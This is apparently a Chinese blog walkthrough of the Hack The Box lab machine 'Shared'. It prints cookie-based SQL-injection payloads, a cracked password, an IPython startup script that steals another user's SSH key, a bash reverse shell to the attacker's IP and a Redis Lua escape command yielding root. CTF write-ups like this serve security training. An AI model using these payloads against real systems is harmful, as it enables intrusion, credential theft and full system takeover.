草庐IT

HTB靶场 Shared

奋斗吧!小胖子 2023-05-25 原文

靶场搭建

靶场地址:Hack The Box

进入靶场地址之后,先连接靶场网络

点击右上角连接按钮

弹出窗口,选择第一个免费的选项SG FREE1

然后选择第一个选项

默认选项点击下载,将连接配置文件下载下来

之后在kali上命令行内使用命令直接连接

看到complete,还有刷新hackthebox也页面发现已经在线,说明连接成功

 

然后打开靶机页面,点击加入机器

加入机器之后就看到了靶机的ip地址为10.10.11.172

ping一下靶机,测试连通性

靶场搭建完成

渗透测试

先扫描一下端口服务开放情况

nmap -sS -p 0-65535 -A 10.10.11.172

开放了80、443端口,存在WEB页面

开放了22端口,存在ssh服务

先访问WEB页面

需要修改hosts文件,否则访问不了,子域名也要加入

vi /etc/hosts

页面为一个商城

数据库为mysql,服务器中间件为Nginx 1.18.0

查找PrestaShop和Nginx的版本漏洞,发现不存在版本漏洞

在每个输入框进行测试,没有找到漏洞

然后测试了一下看有没有逻辑漏洞,提交订单,支付的逻辑漏洞

在支付页面,发现cookie中存在产品的名字,可能存在与数据库交互

可以测试一下是否存在sql注入

%7B为 { 的url编码,%22为 " 的url编码, %3A为 : 的url编码, %7D为 } 的url编码

所以cookie中custom_cart的值为{"CRAAFTKP":"1"},即为{"商品名":"购物车中商品的编号"}

经过测试发现使用单引号闭合,存在sql注入

%7B%22CRAAFTKP' and 1=1 #%22%3A%221%22%7D
%7B%22CRAAFTKP' and 1=2 #%22%3A%221%22%7D

接下来利用order by来爆出字段数,字段数为3

%7B%22CRAAFTKP' order by 3 #%22%3A%221%22%7D
%7B%22CRAAFTKP' order by 4 #%22%3A%221%22%7D

接下来利用联合查询来进行注入

%7B%22CRAAFTKP' and 1=2 union select 'a','b','c'#%22%3A%221%22%7D
发现有一个回显位,为第二个参数

接下来爆出数据库名、用户名、数据库版本
%7B%22CRAAFTKP' and 1=2 union select 'a',database(),'c'#%22%3A%221%22%7D
数据库名为checkout

%7B%22CRAAFTKP' and 1=2 union select 'a',version(),'c'#%22%3A%221%22%7D
数据库版本为10.5.15-MariaDB-0+deb11u1

%7B%22CRAAFTKP' and 1=2 union select 'a',user(),'c'#%22%3A%221%22%7D
用户名为checkout@localhost

接下来再爆出表名、字段名、数据

%7B%22CRAAFTKP' and 1=2 union select 'a',group_concat(table_name),'c' from information_schema.tables where table_schema = database()#%22%3A%221%22%7D
爆出两个表,user表和product表

%7B%22CRAAFTKP' and 1=2 union select 'a',group_concat(column_name),'c' from information_schema.columns where table_schema = database() and table_name = 'user'#%22%3A%221%22%7D
在user表中有三个字段id,username,password

%7B%22CRAAFTKP' and 1=2 union select 'a',group_concat(username),'c' from user#%22%3A%221%22%7D
用户名为james_mason

%7B%22CRAAFTKP' and 1=2 union select 'a',group_concat(password),'c' from user#%22%3A%221%22%7D
密码hash为fc895d4eddc2fc12f995e18c865cf273 通过在线md5查询网站查出密码为Soleil101

知道了用户名为james_mason,密码为Soleil101

开启了22端口ssh服务,尝试登录,登录成功

在目录下发现一个script.sh可执行文件,文件内容为创建权限为777 的/opt/scripts_review/profile_default/startup目录,并且在目录下创建一个script.py文件,但是发现创建过了一会又被删除了

还发现目录下有linpeas_linux_amd64文件,网上搜索了一下,这个工具适用于枚举linux操作系统几乎所有的可提权项。

存在三个可以登录的用户

工具显示存在CVE-2021-3560和CVE-2022-0847可以用于提权

权限太低,两种方法都提权失败

还发现目录下有文件pspy64文件,pspy64这个工具可以枚举用户的进程

发现dan_smith这个用户似乎一直在打开ipython,又关闭ipython,又进入/opt/scripts_review这个目录,打开ipython

查看ipython版本为8.0.0

ipython8.0.0存在越权漏洞,可以以其他用户的身份来执行代码

exp就是/home/james_mason目录下的scripts.sh里的内容,不过要将输出位置更改一下

mkdir -m 777 /opt/scripts_review/profile_default/

mkdir -m 777 /opt/scripts_review/profile_default/startup

echo "import os; os.system('cat ~/.ssh/id_rsa > /dev/shm/rsa')" > /opt/scripts_review/profile_default/startup/script.py

然后等dan_smith运行ipython,就可以获取到它的密钥

将密钥粘贴到kali中新建文件

提高文件权限,登录时就不用输入密码

   chmod 600 key

   ssh -i key dan_smith@10.10.11.172

发现一个sysadmin的组很像管理员

查看这个组拥有的文件

find / -group sysadmin 2>/dev/null

执行这个文件似乎是来用密码来连接redis

我们将此文件下载到kali中,然后再kali中监听6379端口,然后再kali中运行文件,就能获得密码

scp -i key dan_smith@10.10.11.172:/usr/local/bin/redis_connector_dev ./

知道了redis的密码,系统为Debian系统,并且redis的版本为6.0.15,此版本redis在Debian系统中存在逃逸漏洞,可以以最高权限执行任意命令

kali的连通靶机的网卡ip

在靶机上连接redis,利用逃逸漏洞执行命令,反弹shell

echo "bash -i >& /dev/tcp/10.10.14.8/1234 0>&1" > /dev/shm/redis
redis-cli --pass F2WHqJUz2WEz=Gqq
在kali上监听1234端口(nc -lvp 1234)
eval 'local l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = l(); local f = io.popen("cat /dev/shm/redis | bash"); local res = f:read("*a"); f:close(); return res' 0

成功收到root权限shell

拿到flag

有关HTB靶场 Shared的更多相关文章

  1. ruby-on-rails - 如何重构 "shared"方法? - 2

    我正在使用RubyonRails3.2.2,我想从我的模型/类中“提取”一些方法。也就是说,在不止一个类/模型中,我有一些方法(注意:方法与用户授权相关,并被命名为“CRUD方式”),这些方法实际上是相同的;所以我认为DRY方法是将这些方法放在“共享”模块或类似的东西中。实现该目标的常见且正确的方法是什么?例如,我应该将“共享”代码放在哪里(在哪些目录和文件中)?如何在我的类/模型中包含提到的方法?你有什么建议?注意:我正在寻找“RubyonRails制作东西的方式”。 最佳答案 一种流行的方法是使用ActiveSupport关注点

  2. ruby-on-rails - rails : Methods shared by multiple controllers - 2

    我有两个Controller,即1)carts_controller2)订单ControllerclassCartsController注意:method3正在使用method1和method2。CartsController有showcart.html.erbView,它使用method3并且工作正常。现在在订单View中,我需要显示购物车(showcart.html.erb),但由于辅助程序method3是在carts_controller中定义的所以它无法访问它。如何解决? 最佳答案 由于您使用的是Rails4(这种方法应该也

  3. ruby - Heroku 应用程序崩溃并显示 'libruby.so.1.9: cannot open shared object file' - 2

    这个问题不太可能帮助任何future的访问者;它只与一个小的地理区域、一个特定的时间点或一个非常狭窄的情况有关,这些情况并不普遍适用于互联网的全局受众。为了帮助使这个问题更广泛地适用,visitthehelpcenter.关闭10年前。我在部署这个应用程序时从未遇到过问题,但我刚刚推送,现在我遇到了这个奇怪的错误,它在堆栈中足够深,甚至没有被发送到Airbrake。我觉得这可能是Heroku的问题,可能与https://status.heroku.com/incidents/450有关。?你怎么看?2012-10-14T08:40:31+00:00heroku[web.1]:State

  4. ruby-on-rails - BUNDLE_DISABLE_SHARED_GEMS : '1' ? 是什么意思 - 2

    我在.bundle/config中找到了BUNDLE_DISABLE_SHARED_GEMS:'1'。什么意思? 最佳答案 Bundler从~/.bundle/config文件中获取一些设置——而不是从shell环境中获取。当设置为true(默认)时,所有gem都将安装到BUNDLE_PATH,无论这些gem是否安装在您的系统中。默认情况下,Bundler不会安装系统gems中已经存在的gems,因此如果您尝试打包应用程序并解压所有依赖项,这将特别有用。 关于ruby-on-rails-

  5. javascript - react类中的成员变量引用为 "shared" - 2

    当我创建一个React类的多个实例时(通过在同一个类上使用React.createElement),一些成员变量在实例之间共享(数组和对象是共享的,字符串和bool值等不是)。对我来说,这感觉很可怕、很可怕​​而且是错误的。这是一个错误还是有其他方法可以做我想做的事?请看:http://jsbin.com/kanayiguxu/1/edit?html,js,console,output 最佳答案 您应该做的是在组件上设置状态,而不是将状态作为React组件上的任意属性。所以不要这样做:varMyComponent=React.cre

  6. javascript - Visual Studio -> Shared TypeScript Library -> TS6059 文件 '' 不在 'rootDir' '' 下。 'rootDir' 应该包含所有源文件 - 2

    我们正在使用VisualStudio2017并且有两个独立的Web项目,它们应该共享一些用TypeScript编写的React组件。还可以共享JavaScript文件和CSS文件。为此,我们在VisualStudio中创建了一个共享项目。WhatisthedifferencebetweenaSharedProjectandaClassLibraryinVisualStudio2015?目前该项目只有一个包含此信息的文件。exportconstTypes={Type1:'1',Type2:'2',Type3:'3'}为了测试,我可以像这样引用它,VisualStudio将找到该文件:im

  7. javascript - AngularJS:使用 Shared Service(with $resource) 在 Controller 之间共享数据,但如何定义回调函数? - 2

    注意:我还在AngularJS邮件列表上发布了这个问题:https://groups.google.com/forum/#!topic/angular/UC8_pZsdn2U大家好,我正在构建我的第一个AngularJS应用程序并且一开始对Javascript不是很熟悉所以任何指导将不胜感激:)我的应用有两个Controller,ClientController和CountryController。在CountryController中,我从使用$resource对象的CountryService中检索国家列表。这工作正常,但我希望能够与ClientController共享国家列表。经

  8. golang cgo无法通过构建模式c-shared导出变量 - 2

    我正在尝试在cgo中开发一个sudo的插件。https://www.sudo.ws/man/1.8.15/sudo_plugin.man.html将结构导出到policy_plugin的全局范围。Apolicypluginmustdeclareandpopulateapolicy_pluginstructintheglobalscope.你能解释一下这是什么意思吗?export_test.gopackagemain/*#include"sudo_plugin.h"#include*/import"C"funcmain(){}//don'tworked//exportpolicyvarp

  9. gcc - Linux 上的 Golang c-shared - ld 找不到 -ltest - 2

    我正在尝试按照http://snowsyn.net/2016/09/11/creating-shared-libraries-in-go/中的说明进行操作我的项目比较简单。该库有一个带有println的测试函数。正如标题所说,我越来越“找不到”。我正在运行Ubuntuzesty并升级到1.7.4ls-lroy@roy-desktop:~/go/src/c$ls-l2016年合计-rw-rw-r--1royroy43Dec1006:55test.c-rw-rw-r--1royroy1274Dec1006:54test.h-rw-rw-r--1royroy2053664Dec1006:54

  10. CTF综合靶场渗透系列-Billu_b0x - 2

    Billu_b0x文章目录Billu_b0x前言目标运行环境信息收集漏洞挖掘测试首页SQL注入利用文件包含漏洞获取php源码、passwd文件通过得到的mysql密码登录phpmyadmin继续暴破phpmy目录,文件包含phpmyadmin配置文件获取shell登录index首页,并获得cmdshell和反弹shell找一个可写权限目录,写入菜刀马提升权限查看内核、系统版本,寻找提权exp编译、提权后记前言最近新找到的一个靶场,跟vulnhub靶场渗透思路差不多,不过没有设计到内网的渗透,只是单方面的进行渗透提权,获取对方的主机权限,对于打CTF的小伙伴们还是很有帮助的。但我感觉这次的难度好

随机推荐